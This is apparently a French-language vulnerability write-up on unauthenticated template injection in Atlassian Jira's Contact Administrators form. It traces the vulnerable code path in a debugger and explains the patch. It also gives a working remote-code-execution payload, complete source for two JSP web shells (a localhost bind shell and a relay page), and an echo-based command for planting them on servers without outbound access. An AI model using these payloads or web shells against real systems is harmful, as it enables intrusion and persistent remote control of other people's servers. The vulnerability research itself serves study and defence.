
Injection de template non authentifiée dans Atlassian Jira
4.4.x
5.x.x
6.x.x
7.0.x
7.1.x
7.2.x
7.3.x
7.4.x
7.5.x
7.6.x before 7.6.14 (the fixed version for 7.6.x)
7.7.x
7.8.x
7.9.x
7.10.x
7.11.x
7.12.x
7.13.x before 7.13.5 (the fixed version for 7.13.x)
8.0.x before 8.0.3 (the fixed version for 8.0.x)
8.1.x before 8.1.2 (the fixed version for 8.1.x)
8.2.x before 8.2.3 (the fixed version for 8.2.x)
set JVM_SUPPORT_RECOMMENDED_ARGS= dans le fichier ./bin/setenv.bat (ou son équivalent ./bin/setenv.sh sous Linux) pour pouvoir lancer le débogage à distanceset JVM_SUPPORT_RECOMMENDED_ARGS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
Remote JVM Debug avec host et port sur localhost:5005 et Command line aguments for remote JVM-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
Exécutez le fichier ./bin/config.bat (ou ./bin/config.sh sous Linux) et définissez « Jira home » sur votre répertoire jira home

Exécutez le fichier ./bin/start-jira.bat (ou ./bin/start-jira.sh sous Linux). Vérifiez que la version de Java est correcte et que les ports 8080 et 5005 sont libres, sinon le démarrage échouera !
Nous choisissons le mode privé

À cette étape, pensez à utiliser une adresse e-mail capable de recevoir des e-mails :)

Configurez et testez correctement la connexion

Sur http://localhost:8080/secure/admin/EditApplicationProperties!default.jspa, activez la fonctionnalité Contact Administrators Form

Je ne note ici que quelques points d'attention pour la construction ; vous pouvez consulter building jira from source
Après avoir lu Advisory, nous savons que ce bug se trouve dans ContactAdministrators et SendBulkMail (ce dernier, je le laisse de côté car il nécessite une authentification). J'ai donc commencé à tester la fonctionnalité ContactAdministrators et à intercepter la requête.

Je vois que la requête va vers /secure/ContactAdministrators.jspa, alors je consulte le fichier ./atlassian-jira/WEB-INF/web.xml pour voir vers quelle classe cette requête est dirigée.


La requête est donc traitée par JiraWebworkActionDispatcher ; j'ai donc placé un point d'arrêt dans init et server de cette classe et j'ai lancé le débogage.

Le programme s'arrête alors dans la fonction server ; en suivant le flux, il entre dans ContactAdministrators.doExecute().

Ensuite, via send, le programme liste les comptes administrateur actifs.

Puis le programme passe par la fonction sendTo. On voit ici qu'il crée un MailQueueItem et l'ajoute à mailQueue.

Le programme appelle la fonction EmailBuilder.withSubject. Ici, la chaîne du sujet de l'e-mail (envoyée par l'attaquant) est convertie de String en TemplateSources et assignée au paramètre subjectTemplate de EmailBuilder.

Dans la fonction renderLater, le programme crée un EmailRenderer et l'utilise pour créer un RenderingMailQueueItem.

À partir de là, en revenant à la fonction ContactAdministrators.sendTo : après avoir créé un MailQueueItem, le programme ajoute l'élément à mailQueue puis revient à doExecute pour faire une redirection. En suivant ce flux de débogage, on ne peut pas atteindre la partie où le programme effectue le rendu de l'e-mail, donc on ne peut pas arriver au moment où l'injection de template se produit. Alors, comment faire pour suivre le traitement de l'e-mail ???
Je remarque que EmailRenderer possède une fonction renderNow (le programme n'appelle que renderLater) ; je suppose que lorsque l'e-mail en file d'attente est appelé pour être rendu, il suit le même flux que renderNow. J'ai donc décidé de tracer à partir de renderNow.

Depuis renderNow, le programme appelle EmailRenderer.render(). J'ai placé un point d'arrêt ici et renvoyé la requête pour voir si le programme passe réellement par là.

Heureusement, le programme a bien suivi la direction que j'avais prévue. Ensuite, il appelle renderEmailSubject.

Ensuite, le programme appelle DefaultVelocityTemplatingEngine.render(this.subjectTemplate).

On arrive à DefaultVelocityTemplatingEngine.applying et DefaultVelocityTemplatingEngine.asPlainText.

On continue avec l'appel à asPlainText(Writer writer).

On arrive à toWriterImpl ; comme le writer que je fournis est un Fragment, le programme saute dans le else.
private void toWriterImpl(Writer writer, boolean attachCartridge) throws IOException {
if (this.source instanceof File) {
File template = (File)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBody(writer, template.getPath(), "", DefaultVelocityTemplatingEngine.this.applicationProperties.getEncoding(), this.context);
} else if (this.source instanceof Fragment) {
Fragment fragment = (Fragment)this.source;
if (attachCartridge) {
this.context.attachEventCartridge(DefaultVelocityTemplatingEngine.this.createDefaultCartridge());
}
DefaultVelocityTemplatingEngine.this.velocityManager.writeEncodedBodyForContent(writer, fragment.getContent(), this.context);
}
}
DefaultVelocityManager.writeEncodedBodyForContent.

VelocityEngine.evaluate -> RuntimeInstance.evaluate(Context, Writer, String, String) -> RuntimeInstance.evaluate(Context, Writer, String, Reader). Ici, le programme crée un SimpleNode à partir du Reader.

render, où il appelle nodeTree.render(ica, writer); pour parser le template Velocity ; c'est donc ici que l'injection de template est possible !public boolean render(Context context, Writer writer, String logTag, SimpleNode nodeTree) throws IOException {
InternalContextAdapterImpl ica = new InternalContextAdapterImpl(context);
ica.pushCurrentTemplateName(logTag);
try {
try {
nodeTree.init(ica, this);
} catch (TemplateInitException var13) {
throw new ParseErrorException(var13);
} catch (RuntimeException var14) {
throw var14;
} catch (Exception var15) {
String msg = "RuntimeInstance.render(): init exception for tag = " + logTag;
this.getLog().error(msg, var15);
throw new VelocityException(msg, var15);
}
nodeTree.render(ica, writer); ### Có thể RCE ở đây ###
} finally {
ica.popCurrentTemplateName();
}
return true;
}
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('calc').waitFor()

ContactAdministrators: doExecute -> send -> sendTo
-> EmailBuilder -> renderLater
RenderingMailQueueItem: send
-> emailRenderer: render -> renderEmailSubject
-> DefaultVelocityTemplatingEngine: asPlainText -> asPlainText(Writer writer) -> toWriterImpl
-> DefaultVelocityManager: writeEncodedBodyForContent
->VelocityEngine: evaluate
> RuntimeInstance: evaluate -> evaluate -> render
=> SimpleNode: render
Nous pouvons donc faire du RCE sur le serveur Jira. Mais que faire si nous voulons un shell et que le serveur n'a pas de connexion sortante (outbound) ? Dans ce cas, nous ne pouvons pas créer un bind/reverse shell classique, car nous n'avons pas de port pour sortir vers Internet.
J'ai reçu une suggestion de @honson97 : « utiliser une JSP web pour recevoir l'entrée de l'attaquant puis la transmettre à un bind shell indépendant qui écoute sur le localhost du serveur ».

À partir de cette idée, j'ai codé deux fichiers JSP : web.jsp et blind.jsp. blind.jsp sert de shell aveugle (blind shell) : il écoute en permanence sur localhost:4444, reçoit les commandes envoyées à cmd/base et renvoie le résultat à la JSP web web.jsp ; web.jsp est l'outil qui permet à l'attaquant d'envoyer les commandes et d'en voir les sorties.
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
Socket socket = new Socket( "127.0.0.1", 4444 );
OutputStream output = socket.getOutputStream();
PrintWriter writer = new PrintWriter(output, true);
writer.println(request.getParameter("cmd"));
InputStream input = socket.getInputStream();
DataInputStream dis = new DataInputStream(input);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
socket.close();
%>
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>
<%
class StreamConnector
{
InputStream md;
OutputStream ao;
StreamConnector( InputStream md, OutputStream ao )
{
this.md = md;
this.ao = ao;
}
public void run()
{
BufferedReader yw = null;
BufferedWriter enf = null;
try
{
yw = new BufferedReader( new InputStreamReader( this.md ) );
enf = new BufferedWriter( new OutputStreamWriter( this.ao ) );
char buffer[] = new char[8192];
int length = yw.read( buffer, 0, buffer.length);
enf.write( buffer, 0, length );
enf.flush();
} catch( Exception e ){}
}
}
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
ServerSocket server_socket = new ServerSocket(4444,1048576,InetAddress.getByName((String)"127.0.0.1") );
Process process = Runtime.getRuntime().exec( ShellPath );
while (true) {
Socket client_socket = server_socket.accept();
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).run();
Thread.sleep(1000);
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).run();
client_socket.close();
}
} catch( Exception e ) {}
%>
Ensuite, il faut téléverser le shell sur le serveur ; comme nous considérons le cas d'un serveur sans connexion sortante, nous ne pouvons téléverser les fichiers qu'avec la commande echo. D'abord, je supprime les caractères "\n" et les caractères d'échappement spéciaux (avec Python).
a = """ copy-cái-file-vô-đây """
a = a.replace("\n", " ").replace("\t", " ").replace(">", "^>").replace("<", "^<")
print(a)
Ensuite, je copie la chaîne obtenue dans le payload :
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('echo STRING-Ở-TRÊN > ../atlassian-jira/web.jsp').waitFor()
Une fois les deux fichiers web.jsp et bind.jsp téléversés, on accède à /bind.jsp puis, dans un autre onglet, à /web.jsp?cmd=COMMAND pour tester le shell.

Dans ContactAdministrators.sendTo(), au lieu de passer directement l'entrée du client à la fonction EmailBuilder.withSubject pour la transformer en sources de template (pouvant être rendues), la version corrigée place l'entrée dans un contexte de chaîne et ne passe que la chaîne "$subject" à EmailBuilder.withSubject. Lors du rendu, le système exécute le template "$subject", c'est-à-dire qu'il charge le sujet — le contexte de chaîne (l'entrée du client) — sans jamais le rendre. Autrement dit, le programme charge l'entrée comme une chaîne et non comme un template pouvant être rendu.
Version vulnérable
Version corrigée